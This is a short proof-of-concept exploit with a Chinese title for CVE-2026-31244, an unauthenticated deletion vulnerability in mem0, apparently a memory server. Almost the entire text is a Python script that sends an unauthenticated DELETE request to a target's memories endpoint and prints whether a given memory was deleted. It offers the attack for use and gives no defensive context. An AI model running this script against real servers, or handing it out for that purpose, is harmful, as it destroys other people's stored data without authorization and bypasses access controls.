CVE-2026-31244 mem0未授权删除漏洞

import requests # Target URL of the vulnerable mem0 server target_url = "http://target-server:port/memories/{memory_id}" # The ID of the memory to delete memory_id = "12345" # Construct the full URL exploit_url = target_url.replace("{memory_id}", memory_id) try: # Send unauthenticated DELETE request response = requests.delete(exploit_url) # Check if the deletion was successful if response.status_code == 200 or response.status_code == 204: print(f"[+] Success: Memory with ID {memory_id} has been deleted.") else: print(f"[-] Failed: Server returned status code {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")